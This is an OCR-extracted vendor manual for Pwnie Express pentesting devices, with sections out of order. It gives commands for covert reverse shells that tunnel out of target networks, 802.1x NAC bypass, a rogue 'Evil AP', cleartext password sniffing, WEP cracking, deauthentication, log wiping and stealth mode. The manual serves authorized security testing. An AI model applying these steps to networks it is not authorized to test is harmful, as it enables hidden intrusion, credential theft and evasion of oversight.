Pwnie Express User Manual Fixed sensor product line
Contents
1. mWVINIE X EXPRESS Pwnie Express User Manual Fixed sensor product line Pwn Plug R2 http ownieexpress com products pwn plug r2 Pentesting Appliance http ownieexpress com products enterprise pentesting appliance The latest version of this manual is maintained here http www pwnieexpress com pages documentation Copyright 2014 Pwnie Express All rights reserved Manual revision 12 13 2013 Table of Contents Legal disclaimers Getting started Using the Pwnix Ul Accessing Pwnix UI Setup page System Authentication Network Config Reverse Shell Key Clean up History and Logs Update Device Restart Device Services page Passive Recon Evil AP Reverse Shells page System Details page Help page Using the reverse shells Reverse shell overview Typical deployment overview Activating the reverse shells Configuring Backtrack to receive the reverse shells Connecting to the reverse shells Deploying to target network Using SSH port forwarders on Backtrack Example 1 Connecting to remote RDP servers Example 2 Connecting to remote web servers Using the wireless hardware 802 11 wireless Connecting to an open wifi network Running Airodump ng amp Kismet Packet injection amp WEP cracking Wireless client de authentication Bluetooth Using the Bluetooth adapter 4G GSM cellular Using the unlocked GSM adapter Connecting to the Internet via 3G 4G Using the SSH over 3G shell Accessing the pentesting tools Accessing Metasploit2. As with any software application any downloads transfers of this software are subject to export controls under the U S Commerce Department s Export Administration Regulations EAR By using this software you certify your complete understanding of and compliance with these regulations Getting started Connect the provided wireless antenna to the device e Pwn Plug R2 Connect antenna to SMA jack on the side of the device e Pentesting Appliance Connect antenna to SMA jack on the rear of the device Connect the onboard Ethernet jack to a local network or switch e Pwn Plug R2 Use the right most Ethernet jack ethO on the rear of the unit e Pentesting Appliance Use the single Ethernet jack eth0 on the rear of the unit Connect the AC adapter to a power source e Pwn Plug R2 The device will power on automatically e Pentesting Appliance Press the oval button on front panel to power up the appliance The default device IP address is 192 168 9 10 netmask 255 255 255 0 To access the device for the first time configure your Linux Mac Windows system with the following IP settings IP address 192 168 9 11 Netmask 255 255 255 0 Tip On Linux hosts you can configure a virtual interface as shown Copyright 2014 Pwnie Express All rights reserved Manual revision 12 13 2013 4 ifconfig eth 1 192 168 9 11 24 Confirm connectivity to the device by pinging it ping 192 168 9 10 You can now access the device through
3. where XXXX is the local listening port of an active reverse shell such as 3333 for standard reverse SSH and where xxx xxx xxx xxx is the IP address of an RDP target system on the remote network your Pwnie device is physically connected to Login to the device when prompted Connect to the remote RDP server through the SSH tunnel by using localhost rdesktop localhost Example 2 Connecting to remote web servers w On Backtrack ssh pwnie localhost p XXXX ND 8080 where XXXX is the local listening port of an active reverse shell such as 3333 for standard reverse SSH Login to your Pwnie device when prompted Open Firefox and configure it to use localhost as an HTTP proxy on port 8080 You can now connect to any web server on the remote network by entering the IP address or URL into Firefox Using the wireless hardware 802 11 wireless Copyright 2014 Pwnie Express All rights reserved Manual revision 12 13 2013 14 Ensure the wireless antenna is connected to your Pwnie device before continuing see Getting Started Connecting to an open wifi network 1 Set the wireless interface to managed mode iwconfig wlan mode managed 2 Bring up the interface ifconfig wlan up 3 Scan for access points in the area iwlist scan 4 Associate with an access point with SSID example on channel 6 iwconfig wlan essid example iwconfig wlan channel 6 5 Restart the interface i
4. 1 Ona staging lab network enable the desired reverse shells see Activating the reverse shells 2 Configure a Backtrack 5 system to receive the reverse shells see Configuring Backtrack to receive the reverse shells 3 Test the reverse shells in a lab local LAN to confirm all shells are working as expected see Connecting to the reverse shells 4 Optional Enable Stealth Mode see Using the Pwnix UI 5 Deploy the device to your target network and watch your SSH receiver for incoming shells see Deploying to target network Pwn Plug on target network Firewall on target network SSH Receiver Backtrack Activating the reverse shells 1 Log into the Pwnix UI 2 Click Reverse Shells on the top menu Copyright 2014 Pwnie Express All rights reserved Manual revision 12 13 2013 10 Click the name of the shell you wish to configure Tip To best maintain persistent remote access enable all of the reverse shells Enter the SSH shell receiver IP address or DNS name for each selected reverse shell The device will connect to this shell receiver system to establish the reverse shell connections Choose how often the reverse shell connection should be attempted By default a shell connection will be attempted every minute recommended Tip To use an HTTP proxy for the SSH over HTTP Tunnel enable the Use HTTP Proxy checkbox and enter the proxy server address and port and optionally
5. Tip To view realtime Evil AP activity from the command line tail f var log pwnix evilap log By default the device will function as a standard AP transparently routing all client Internet requests through the wired interface eth0 Tip The Evil AP service can also be enabled disabled from the command line as follows To enable service pwnix_evil_ap start update rc d pwnix_evil_ap defaults To disable service pwnix_evil_ap stop update rc d f pwnix_evil_ap remove Tip The Evil AP interface and SSID can customized in opt pwnix pwnix config services evil_ap conf Reverse Shells page See section Using the reverse shells for details on this feature System Details page This section displays the device s software release level system logs disk usage etc Help page Copyright 2014 Pwnie Express All rights reserved Manual revision 12 13 2013 9 This section covers basic UI interface usage Using the reverse shells Reverse shell overview All Pwnie devices include aggressive reverse tunneling capabilities for persistent remote SSH access SSH over HTTP HTTPS SSL DNS ICMP and other covert tunneling options are available for traversing strict firewall rules web filters amp application aware IPS e All tunnels are encrypted via SSH and will maintain access wherever the device has an Internet connection including wired wireless and 4G GSM where available Typical deployment overview
6. length 60 EAPOL start Tip To manually force a link refresh from the command line mii tool r ethO mii tool r eth1 Disabling NAC Bypass mode 1 Log into the device through a reverse shell or the serial console see Accessing the serial console 2 Run the following command service pwnix_nac_bypass stop 3 Reboot Copyright 2014 Pwnie Express All rights reserved Manual revision 12 13 2013 26 Setting up an encrypted partition Pentesting Appliance only oT oS Run the following script to create an encrypted partition at opt pwnix crypt store opt pwnix pwnix scripts encrypted_volume_setup sh When prompted for key type choose passphrase Enter a desired passphrase for the encrypted partition Answer yes when prompted these prompts are expected when first encrypting a partition Copy a test file to the encrypted partition echo test gt opt pwnix crypt store test file Unmount the encrypted partition and very the contents of your test file is unreadable umount opt pwnix crypt store cat opt pwnix crypt store test file To re mount the encrypted partition enter your passphrase when prompted mount t ecryptfs opt pwnix crypt store opt pwnix crypt store Maintaining your Pwnie device Updating the Pwnix software To update the Pwnix software platform to the latest release including security updates follow the steps shown in section Using the Pwnix UI Setup page
7. proxy server credentials Note The HTTP proxy auth password is stored in clear text in opt pwnix pwnix scripts script_configs Click Configure to apply your changes for the reverse shell you re configuring Note The following SSH client config directives etc ssh ssh_config are set on all devices to allow for automation of reverse shell connections Be sure you understand the security implications of these settings before connecting to other SSH servers from the device StrictHostkKeyChecking no UserKnownHostsFile dev null Proceed to configure Backtrack to receive the reverse shells Configuring Backtrack to receive the reverse shells A Backtrack 5 system Backtrack 5 R3 recommended can serve as the SSH tunnel receiver Your Pwnie device will connect to this system when initiating the reverse shell connections Note These steps assume you re using Backtrack 5 R3 as your SSH receiver Older Backtrack distributions may be used but different steps may apply gy Oe aa mae gt Place your Pwnie device and the Backtrack system on the same local network subnet Login to the Backtrack system and open Firefox Connect to the UI https device_ip_address 1443 Login to the UI when prompted Click Reverse Shells on the top menu Click the Generate Backtrack config link at the top of the page under step 5 to download the backtrack_receiver sh script Save the script file backtrack_receiver sh into the
8. pwnie user password and voila You re now remotely connected to the device through the reverse shell Proceed to Deploying to target network Standard SSH SSH Egress Buster Note If there s no firewall between your Pwnie device and your shell receiver system be sure the shell receiver system SSH server is listening on the ports you selected for the Standard Reverse SSH and SSH Egress Buster shells in the UI For example if you set port 31337 for Standard Reverse SSH add the line Port 31337 to etc ssh sshd_config then restart SSHd etc init d ssh restart Tip The SSH receiver address can be anonymized using the Tor Hidden Service feature as described here http www securitygeneration com security reverse ssh over tor on the pwnie express Special thanks to Sebastien J of Security Generation for streamlining the SSH receiver setup process and to Lance Honer for his resilient autossh script improvements Copyright 2014 Pwnie Express All rights reserved Manual revision 12 13 2013 12 Deploying to target network 1 Pwn Plug on SSH receiver target network Backtrack N ZA Pad Firewall on Firewall in front target network of SSH receiver Place your shell receiver system behind a public facing firewall 2 Configure the appropriate port forwarders on your firewall 1 o Standard Reverse SSH Forward the port selected in the UI to port 22 of your shell receiver o SSH ov
9. 3G connection will be released and reconnected at the selected retry interval until a reverse SSH tunnel is established Accessing the pentesting tools Accessing Metasploit The Metasploit binaries msfconsole msfcli etc can be run from any directory Simply type msfconsole to launch the local Metasploit Console Accessing Metasploit via msfrpcd Copyright 2014 Pwnie Express All rights reserved Manual revision 12 13 2013 21 The msfrpcd service can be customized by editing the file opt pwnix pwnix config services msfprcd conf nano opt pwnix pwnix config services msfrpcd conf To restart the msfrpcd service service pwnix_msfrpc restart To access the msfrpcd service from a remote host you will need a front end application We suggest using Backtrack for this Log into Backtrack with your credentials and run the following from the commandline startx cd opt metasploit diagnostic_shell msf3 msfgui HH H Login to msfgui using the credentials specific in opt pwnix pwnix config services msfprcd conf Note You may have to open msfgui more than once to get it to prompt you for a server By default it starts an msfrpcd instance on the local Backtrack system Running additional pentesting tools Thanks to the rock stars at the Kali Linux project kali org all below pentesting tools are pre installed as Debian packages and can be run from any path on the system C a porase pe e e Copyrig
10. Accessing Metasploit via msfrpcd Running additional pentesting tools Copyright 2014 Pwnie Express All rights reserved Manual revision 12 13 2013 2 Pentesting Resources Using advanced features Stealth Mode NAC 802 1x Bypass Pwn Plugs only NAC Bypass overview Enabling NAC Bypass mode NAC Bypass troubleshooting Disabling NAC Bypass mode Setting up an encrypted partition Pentesting Appliance onl Maintaining your Pwnie device Updating the Pwnix software Accessing the local serial console Pwn Plugs only Reviewing the Pwnix environment How to get support Copyright 2014 Pwnie Express All rights reserved Manual revision 12 13 2013 3 Legal disclaimers 1 All Pwnie Express products are for legally authorized uses only By using this product you agree to the terms of the Rapid Focus Security Inc EULA http pwnieexpress com pdfs RFSEULA pdf This product contains both open source and proprietary software Proprietary software is distributed under the terms of the Rapid Focus Security Inc EULA http pwnieexpress com pdfs RFSEULA pdf Open source software is distributed under one or more of the following licenses GNU PUBLIC LICENSE HTTP WWW GNU ORG LICENSES GPL HTML BSD 3 CLAUSE LICENSE HTTP WWW OPENSOURCE ORG LICENSES BSD 3 CLAUSE OPENSSL TOOLKIT DUAL LICENSE HTTP WWW OPENSSL ORG SOURCE LICENSE HTML APACHE LICENSE VERSION 2 0 HTTP WWW APACHE ORG LICENSES LICENSE 2 0 HTML O 0
11. Update device Accessing the local serial console Pwn Plugs only The serial console is useful for debugging or when a network connection is unavailable 1 Connect the supplied mini USB cable between your Pwnie device s mini USB serial port and a Linux machine On some older Linux kernels the following commands may be required Copyright 2014 Pwnie Express All rights reserved Manual revision 12 13 2013 27 modprobe usbserial modprobe ftdi_sio vendor 0x9e88 product 0x9e8f Tip For Windows Mac systems see http www plugcomputer org Documentation howtos serial terminal 2 Connect to your Pwnie device serial console using screen note on some distros this must be run as root screen dev ttyUSB 115200 Tip If screen terminates after a few seconds use dmesg to confirm your Pwnie device is showing up as a USB serial device Example 15360 948161 usb 5 3 FTDI USB Serial Device converter now attached to ttyUSBO If the serial interface is showing up as something other than ttyUSBO such as ttyUSB1 adjust the screen command accordingly 3 Press ENTER twice Tip If a login command prompt does not appear or if you see a line of question marks or strange looking characters try pressing CTRL C several times or disconnecting reconnecting the mini USB serial cable 4 At the login prompt login with the pwnie user account default login is pwnie pwnplug8000 Tip To exit a screen sessio
12. out of band access to your Pwnie device wherever a 3G cellular data signal is available While this bypasses your target network s perimeter a reverse shell is still recommended many cell carriers do not assign public IP addresses to 3G data access devices Copyright 2014 Pwnie Express All rights reserved Manual revision 12 13 2013 20 SSH receiver Backtrack 3G gt f Pwn Plug on Firewall in front target network of SSH receiver 1 If you haven t done so already complete the reverse shell setup steps see Activating the reverse shells and Configuring the SSH receiver In the Reverse Shells page in UI enable the SSH over 3G GSM shell Configure the shell to connect to your firewall s public IP address or DNS name if available Enter the destination port you d like the Pwnie device to use for the SSH connection Select your 3G adapter from the drop down list Click the Configure all shells button Configure your firewall to forward the port selected in the UI to port 22 on your Backtrack machine On the Backtrack SSH receiver watch for the inbound SSH over 3G connection oND AUN watch d netstat lntup4 grep 3337 9 Once the connection appears connect to your Pwnie device as shown ssh pwnie localhost p 3337 10 Enter your Pwnie device SSH user password and voila You re now remotely connected to the device through the reverse shell over 3G Note The
13. the Pwnix UI Proceed to Using the Pwnix UI below Tip You can now also connect to the device via SSH default login pwnie pwnplug8000 From a Linux Mac host run the following command For Windows users we recommend the PuTTY SSH client ssh pwnie 192 168 9 10 Note The pwnie system account is a standard user with sudo privileges Most of the system commands and pentesting tools referenced in this manual must be run as root as indicated by a hash tag proceeding the command Once logged in as pwnie you can sudo to root as follows sudo su Using the Pwnix UI Accessing Pwnix UI wo Open a web browser and access the UI https device_ip_address 1443 Tip If accessing for the first time the default URL is https 192 168 9 10 1443 The UI is SSL enabled but you will receive a warning as the certificate is self signed At the login prompt enter your username password default is pwnie pwnplug8000 The Setup page appears Important We recommend changing the default pwnie user password as soon as possible Proceed to System Authentication below Setup page System Authentication Copyright 2014 Pwnie Express All rights reserved Manual revision 12 13 2013 5 Da Click Setup on the top menu Click System Authentication Enter a new password for the pwnie user into both fields and click Change password Note This will change the password
14. the top menu Under Restart Device click the Reboot Now button The device will reboot immediately Services page Passive Recon ay Click Services on the top menu Click Passive Recon Click Enable Service to start the passive recon service While enabled the device will passively listen on ethO recording HTTP requests user agents cookies OS guesses and clear text passwords to the following logs e HTTP requests var log pwnix passive_recon http log e OS guesses var log pwnix passive_recon pOf log e Clear text passwords var log pwnix passive_recon dsniff log Tip Passive Recon is most effective when the device is in NAC Bypass transparent bridging mode or when connected to a switch monitor SPAN port or network tap Tip The Passive recon service can also be enabled disabled from the command line as follows To enable service pwnix_passive_recon start update rc d pwnix_passive_recon defaults To disable service pwnix_passive_recon stop update rc d f pwnix_passive_recon remove Copyright 2014 Pwnie Express All rights reserved Manual revision 12 13 2013 8 Evil AP Oe O N Ensure the wireless antenna is connected to the device see Getting Started Click Services on the top menu Click Evil AP Click Start Service Wireless clients will begin connecting to the AP either automatically via preferred network lists or by direct AP association
15. UDP port 68 killall dhclient Randomize your MAC address macchanger r eth Disable ARP replies careful this may affect network connectivity ifconfig eth arp NAC 802 1x Bypass Pwn Plugs only NAC Bypass overview NAC Bypass can circumvent most wired NAC 802 1x RADIUS implementations providing a reverse shell backdoor and full connectivity to NAC restricted networks Special thanks to Skip Duckwall and his 802 1x bridging research http 8021xbridge googlecode com Here s how it works First the device is placed in line between an 802 1x enabled client PC and a wall jack or switch Using a modified layer 2 bridging module the device transparently passes the 802 1x EAPOL authentication packets between the client PC and the switch Once the 802 1x authentication completes the switch grants connectivity to the network The first outbound port 80 packet to leave the client PC provides the device with the PC s MAC IP address and default gateway To avoid tripping the switch s port security the device then establishes a reverse SSH connection using the MAC and IP address of the already authenticated client PC Once connected to the device s SSH console you will have access to any internal subnets accessible by the client PC Copyright 2014 Pwnie Express All rights reserved Manual revision 12 13 2013 24 Tip Since NAC bypass mode effectively turns the device into a transparent bridge it can be use
16. cl 0 sco 0 commands 17 errors 0 3 Enable the Bluetooth interface and set it to Non Discoverable hciconfig hcil up hciconfig hcil noscan 4 Toscan for remote Bluetooth devices hcitool i hcil scan flush info class 5 To ping the address of a remote Bluetooth device 12ping i hcil XX XX XX XX XX XX 6 To dump Bluetooth packets hcidump i hcil t X Copyright 2014 Pwnie Express All rights reserved Manual revision 12 13 2013 17 7 To pair with a remote Bluetooth device bluez simple agent hcil XX XX XX XX XX XX IMPORTANT Before disconnecting the USB Bluetooth adapter always set the interface to a DOWN state first by running the command below Disconnecting the adapter while the interface is UP may cause system stability issues hciconfig hcil down 4G GSM cellular Using the unlocked GSM adapter The unlocked GSM adapter supports five GSM cell bands HSDPA GSM UMTS EDGE GPRS and is compatible with AT amp T T mobile Vodafone Orange and GSM carriers in over 160 countries GSM carriers in the Americas http en wikipedia org wiki List_of mobile network operators of the Americas GSM carriers in Europe http en wikipedia org wiki List_of mobile network operators of Europe Note Verizon Sprint Virgin Mobile and other CDMA carrier SIMs will not work in the unlocked GSM adapter 1 First obtain a SIM card from the GSM cell provider of your choice In the US SIM cards from AT am
17. d even where NAC 802 1x controls are not present on the target network aF etho ethl i P Wall jack or switch Pwn Plug Client PC Enabling NAC Bypass mode Important Enabling NAC Bypass mode will prevent direct access to your Pwnie device s SSH server and Pwnix UI over the network Once stealth mode is enabled access to the device can only be obtained through a reverse shell or the local serial console Note These steps must be followed in the exact sequence shown to avoid tripping switch port security which often completely disables the switch port and may alert network personnel 1 Setup your desired reverse shells see Using the reverse shells 2 Login to your device via SSH and run the following command service pwnix_nac_bypass start 4 Poweroff the device At next boot the device will be in NAC bypass mode Note After rebooting you will no longer be able to directly connect to the device via the Pwnix UI or SSH 5 Deploy the device to your target environment as follows O Connect the device to a power outlet O Wait at least 30 seconds for the device to fully boot into NAC bypass mode O Disconnect the client PC s Ethernet cable from the wall jack O Connect the device s primary Ethernet port eth0 to the Ethernet wall jack Note ethO is the right most Ethernet jack on the rear of the unit O Immediately connect the Ethernet over USB adapter eth1 to the client PC Note eth1 is the le
18. er HTTP Forward port 80 to port 80 of your shell receiver system o SSH over SSL Forward port 443 to port 443 of your shell receiver system o SSH over DNS Forward UDP port 53 to UDP port 53 of your shell receiver system o SSH over ICMP Requires your shell receiver system to be directly connected to the Internet no firewall o SSH over 3G Forward the port selected in the UI to port 22 of your shell receiver system o SSH Egress Buster Forward all ports selected in the UI to port 22 of your shell receiver system In the Pwnix UI Reverse Shells page configure the reverse shells to connect to your firewall s public IP address or DNS name if available Optional Enable Stealth Mode You can now deploy your Pwnie device to your target network The device will automatically phone home to your shell receiver system providing encrypted remote access to your target network Tip In some environments you may wish to schedule a nightly reboot of the device to re initiate all connections from the device side This way if some part of the connection process crashes on the device side for example sshd the connection process will start fresh again after the reboot Copyright 2014 Pwnie Express All rights reserved Manual revision 12 13 2013 13 Using SSH port forwarders on Backtrack Example 1 Connecting to remote RDP servers 1 On Backtrack ssh pwnie localhost p XXXX NL 3389 XXX XXX XXX XXX 3389
19. erse Shell Key ANNE Click Setup on the top menu Click Reverse Shell Key This section shows the current root user SSH key used to establish the reverse shells Optional To generate a new key pair for the reverse shells click Generate Tip If a key pair doesn t already exist a new one will be automated generated after enabling one or more reverse shells on the Reverse Shells page Clean up History and Logs D Click Setup on the top menu Under Clean up History and Logs click the Cleanup now button This clears the root user s bash history UI logs and all logs in var log Note The bash history for any currently active root user sessions will be cleared at next logout Tip The cleanup script can also be invoked from the command line as follows opt pwnix pwnix scripts cleanup sh Update Device 1 2 Click Setup on the top menu Under Update Device click the Update Now button Copyright 2014 Pwnie Express All rights reserved Manual revision 12 13 2013 7 Note The device must have Internet access via ports 80 and 443 for the update to succeed 3 The latest stable Pwnix release is downloaded and applied typically 3 5 minutes e The current Pwnix version can be viewed under the System Details on the top menu e The Pwnix Update log can be view under the System Details on the top menu Restart Device 1 2 3 Click Setup on
20. fconfig wlan down ifconfig wlan up 6 Acquire a DHCP address dhclient wlang Running Airodump ng amp Kismet 1 Bring down the interface ifconfig wlan down 2 To launch airodump ng airodump ng wlan Pwn Plug Note The output of airodump ng will only display properly within an SSH session running airodump ng from the serial console is not recommended 3 When finished press CTRL C to exit 4 To launch Kismet Copyright 2014 Pwnie Express All rights reserved Manual revision 12 13 2013 15 kismet 5 Press ENTER 3 times then TAB then ENTER 6 When finished press CTRL C to exit Tip Certain wireless tools may leave the wireless adapter in a mode that s not compatible with other wireless tools It s generally recommended to set the interface to a down state before running most wireless tools ifconfig wlan down Packet injection amp WEP cracking 1 Torun a simple packet injection test execute the following commands This example assumes a WEP enabled access point on channel 6 with SSID example is within range of the device ifconfig wlan up iwconfig wlan channel 6 ifconfig wlan down aireplay ng e example test wlan 2 Look for the following output 17 19 45 Waiting for beacon frame ESSID example on channel 6 Found BSSID 00 13 10 9E 52 3D to given ESSID example 17 19 45 Trying broadcast probe requests 17 19 45 Injection is working 17 19 46 Fo
21. for the pwnie UI user and the pwnie system Linux SSH account Pwnix UI authentication is integrated with Linux PAM allowing the UI and system passwords to be synced for the pwnie user Click Logout on the top menu to re authenticate with your new credentials Tip You can also set the pwnie user s password via the command line as shown passwd pwnie Please note that if you change the password from the command line it will change the Pwnix UI password as well Network Config 1 Click Setup on the top menu 2 Click Network Config 3 The device s onboard network interfaces are displayed under Current Network Settings Pwn Plug R2 By default the Pwn Plug R2 ships with the following interfaces ethO The right most Ethernet jack on the rear of the unit configured for DHCP by default ethO 1 The virtual default interface for initial access 192 168 9 10 24 by default eth1 The left most Ethernet jack on the rear of the unit wlanO The onboard 802 11 wireless adapter DOWN by default Pentesting Appliance By default the Pentesting Appliance ships with the following interfaces e ethO The Ethernet jack on the rear of the unit configured for DHCP by default e ethO 1 The virtual default interface for initial access 192 168 9 10 24 by default e wlanO The onboard 802 11 wireless adapter DOWN by default To change the device s host name enter a new host name and click C
22. ft most Ethernet jack on the rear of the unit 6 The client completes its normal 802 1x authentication process transparently through the device Copyright 2014 Pwnie Express All rights reserved Manual revision 12 13 2013 25 7 When the first outbound HTTP port 80 packet leaves the client PC the reverse shell connection schedule will re initiate automatically NAC Bypass troubleshooting 1 Log into the device s serial console see Accessing the local serial console 2 Confirm all outbound packets are tagged with the client PC s MAC and IP address tcpdump nnei eth 4 Confirm 802 1x EAPOL authentication packets are being forwarded by the bridge On the Windows client PC Start the Wired Autoconfig service Open the LAN connection properties Authentication tab Open PEAP settings Uncheck the Validate server certificate checkbox and click OK Click the Additional settings button Check specify authentication mode Select user authentication from the drop down box Click the Replace credentials button username testuser password testpasswd Click OK then OK again to close network connection setup To generate EAPOL packets restart the Wired Autoconfig service sam gt oa90o0D RT gt On your Pwnie device a tcpdump nnei ethO egrep EAPOL b Look for outbound EAPOL packets Example 15 38 54 333292 00 0c 29 5c 74 41 gt 01 80 c2 00 00 03 ethertype EAPOL 0x888e
23. hange hostname Tip After changing the hostname log out of any active terminal sessions to update your terminal prompt To configure NTP Servers enter 3 7 NTP Servers and click Configure NTP To change the IP configuration for ethO click the ethO link in the adapter table e ethO is configured for DHCP by default To set a static IP for ethO Select Static Config enter a new IP address network mask default gateway and primary DNS server and click Apply static IP settings Note After the device s IP address is changed reconnect to the UI using the newly assigned Copyright 2014 Pwnie Express All rights reserved Manual revision 12 13 2013 6 IP address e To set ethO to acquire network settings from a DHCP server instead recommended click Enable on the DHCP Tab Note After switching to DHCP you ll need to access the device via the virtual default interface 192 168 9 10 or local serial KVM console to determine the new IP address assigned by DHCP Once the new DHCP assigned IP address is known reconnect to the UI using the newly assigned IP address e To change the ethO interface MAC address enter a new MAC and click Change MAC Note that the ethO MAC address will always revert back to the hardware default after a reboot Tip The virtual default interface 192 168 9 10 can be shut down by running the following at the SSH or serial console command line ifdown eth 1 Rev
24. ht 2014 Pwnie Express All rights reserved Manual revision 12 13 2013 22 darkstat metagoofil wapiti a a a a a a a Pentesting Resources e PTES http www pentest standard org index php PTES Technical Guidelines e Metasploit Unleashed http www offensive security com metasploit unleashed Main_ Page Using advanced features Stealth Mode When enabled stealth mode does the following Disables IPv6 support prevents noisy IPv6 broadcasting Disables ICMP replies won t respond to ping requests Disables the UI closes port 1443 Sets the local SSH server to listen on the loopback address only closes port 22 to the outside Still allows all reverse shells to function as expected Important Enabling stealth mode will prevent direct access to your Pwnie device s SSH server and Pwnix UI over the network Once stealth mode is enabled access to the device can only be obtained through a reverse shell the local serial console Pwn Plugs or a locally attached keyboard monitor Pentesting Appliance Copyright 2014 Pwnie Express All rights reserved Manual revision 12 13 2013 23 To enable Stealth Mode run the following commands update rc d pwnix_stealth defaults service pwnix_stealth start To disable Stealth Mode service pwnix_stealth stop update rc d f pwnix_stealth remove Tip For additional stealthiness run the following commands If using DHCP kill the dhclient process closes listening
25. n press CTRL A then backslash then Y Reviewing the Pwnix environment e Show device software revision grep Release etc motd e Show kernel version uname r e Show date time date e Show filesystem disk usage note your disk usage may vary df h Copyright 2014 Pwnie Express All rights reserved Manual revision 12 13 2013 28 e Show CPU details cat proc cpuinfo e Show total memory grep MemTotal proc meminfo e Show current ethO config ifconfig ethoe e Show currently listening TCP UDP services note dhclient won t be present if not using DHCP netstat lntup e Check syslog for errors warnings etc egrep i warn fail crit error bad unable var log messages e Show Ruby version ruby v e Show Perl version perl v e Show Python version python V How to get support e Pwnie Express Support Portal http www pwnieexpress com pages support e Pwnie Express Community Support Forum http forum pwnieexpress com Copyright 2014 Pwnie Express All rights reserved Manual revision 12 13 2013 29
26. p T and T mobile devices including iPhones are supported Note The mobile service attached to the SIM card must have mobile broadband data service Verify you can access the Internet from your phone using the SIM card before proceeding 2 Slide open the the plastic cover on the GSM adapter 3 Insert your SIM card into the adapter with the notch positioned as shown by the line drawing on the SIM slot with the SIM card contacts facing down Note Many GSM phones including the iPhone4 use a micro SIM instead of a standard sized SIM card To fit these SIM cards into the GSM adapter use the included micro SIM card adapter 4 Slide the plastic cover back onto the adapter 5 Connect the GSM adapter to the device s USB port Pentesting Appliance Connect the GSM adapter to one of the 4 rear USB ports as shown Copyright 2014 Pwnie Express All rights reserved Manual revision 12 13 2013 18 6 10 11 12 13 Confirm the GSM adapter is detected properly note adapter detection may take 15 20 seconds lsusb Bus 003 Device 003 ID 12d1 1506 Huawei Technologies Co Ltd E398 LTE UMTS GSM Modem Networkcard To query the GSM modem for adapter details gsmctl d dev ttyUSBO me Note If the command returns SIM failure the SIM card is either missing or not inserted properly Tip If the modem does not respond on dev ttyUSBO after 10 seconds try dev ttyUSB1 dev ttyUSB2 or dev ttyUSB3 To list cell
27. root user s home directory selected by default Open a terminal window and enter the following commands cd chmod x backtrack_receiver sh backtrack_receiver sh Copyright 2014 Pwnie Express All rights reserved Manual revision 12 13 2013 11 11 12 13 The script auto configures and starts the reverse shell listeners on Backtrack When prompted enter the desired certificate information for the stunnel SSL certificate or just press ENTER to accept the defaults Once the auto config script completes you will see Setup Complete Press ENTER to listen for incoming connections Press ENTER to watch for incoming device connections Each reverse shell will attempt to connect using the interval you specified in the UI Tip You can list all active device connections at any time by typing netstat Intup4 grep 333 Proceed to Connecting to the reverse shells Connecting to the reverse shells 1 1 Open a terminal window on your Backtrack shell receiver system and connect to any available listening Pwnie device shell as follows Standard SSH ssh pwnie localhost p 3333 SSH Egress Buster ssh pwnie localhost p 3334 SSH over DNS ssh pwnie localhost p 3335 SSH over SSL ssh pwnie localhost p 3336 SSH over 4G GSM ssh pwnie localhost p 3337 SSH over HTTP ssh pwnie localhost p 3338 SSH over ICMP ssh pwnie localhost p 3339 oo 8 Oo Oo 0 0 Enter your Pwnie device s
28. ular operators in range gsmctl d dev ttyUSB op To show currently attached operator gsmctl d dev ttyUSBO currop To show signal strength of current operator connection gsmctl d dev ttyUSB sig To check PIN status READY No PIN set gsmctl d dev ttyUSB pin To send a text message gsmsendsms d dev ttyUSB destination 11 digit cell number Test To make an outbound phone call gsmctl d dev ttyUSB o dial 11 digit phone number Copyright 2014 Pwnie Express All rights reserved Manual revision 12 13 2013 19 Connecting to the Internet via 3G 4G 1 Call the appropriate pppd dialup script For the unlocked GSM adapter pppd nodetach call e160 amp For the Verizon Virgin Mobile adapters pppd nodetach call 1xevdo amp For the T mobile Rocket 4G adapter pppd nodetach call tmobile amp Assuming a 3G 4G cellular data signal is available the adapter will establish an Internet connection within 10 20 seconds Once connected you will see a solid LED on the top of the adapter Optional Reset the default route to use the 3G 4G interface ppp0O route del default route add default pppoe Test 3G 4G Internet connectivity ping google com traceroute google com To close the 3G 4G connection and restore Internet connectivity on ethO killall s SIGHUP pppd ifdown eth amp amp ifup ethe Using the SSH over 3G shell The SSH over 3G reverse shell provides secure
29. und 1 AP 3 To auto crack all WEP enabled access points on channel 6 using wepbuster ifconfig wlan down wepbuster 6 Tip WEP cracking performance is dependant on the amount of wireless client traffic being generated on the target wifi network The more traffic on the wireless network the faster the cracking process Wireless client de authentication 1 This example assumes the target access point is on channel 6 iwconfig wlan channel 6 2 In one terminal start airodump ng Copyright 2014 Pwnie Express All rights reserved Manual revision 12 13 2013 16 airodump ng bssid MAC of target AP c 6 wlan 3 Then in a second terminal start the client de authentication aireplay ng 0 a MAC of target AP c MAC of target client wlan Bluetooth Using the Bluetooth adapter e Pwn Plug R2 Connect the SENA UD100 Bluetooth USB adapter to the device The adapter will appear as Bluetooth device hcit e Pentesting Appliance By default the Bluetooth USB adapter is already connected to the USB port behind the front bezel of the appliance The adapter appears as Bluetooth device hciO 1 Confirm the output of the following commands lsusb Bus 001 Device 002 ID 0a12 0001 Cambridge Silicon Radio Ltd Bluetooth Dongle HCI mode hciconfig hcil hcil Type BR EDR Bus USB BD Address XX XX XX XX XX XX ACL MTU 310 10 SCO MTU 64 8 DOWN RX bytes 466 acl 0 sco 0 events 18 errors 0 TX bytes 73 a
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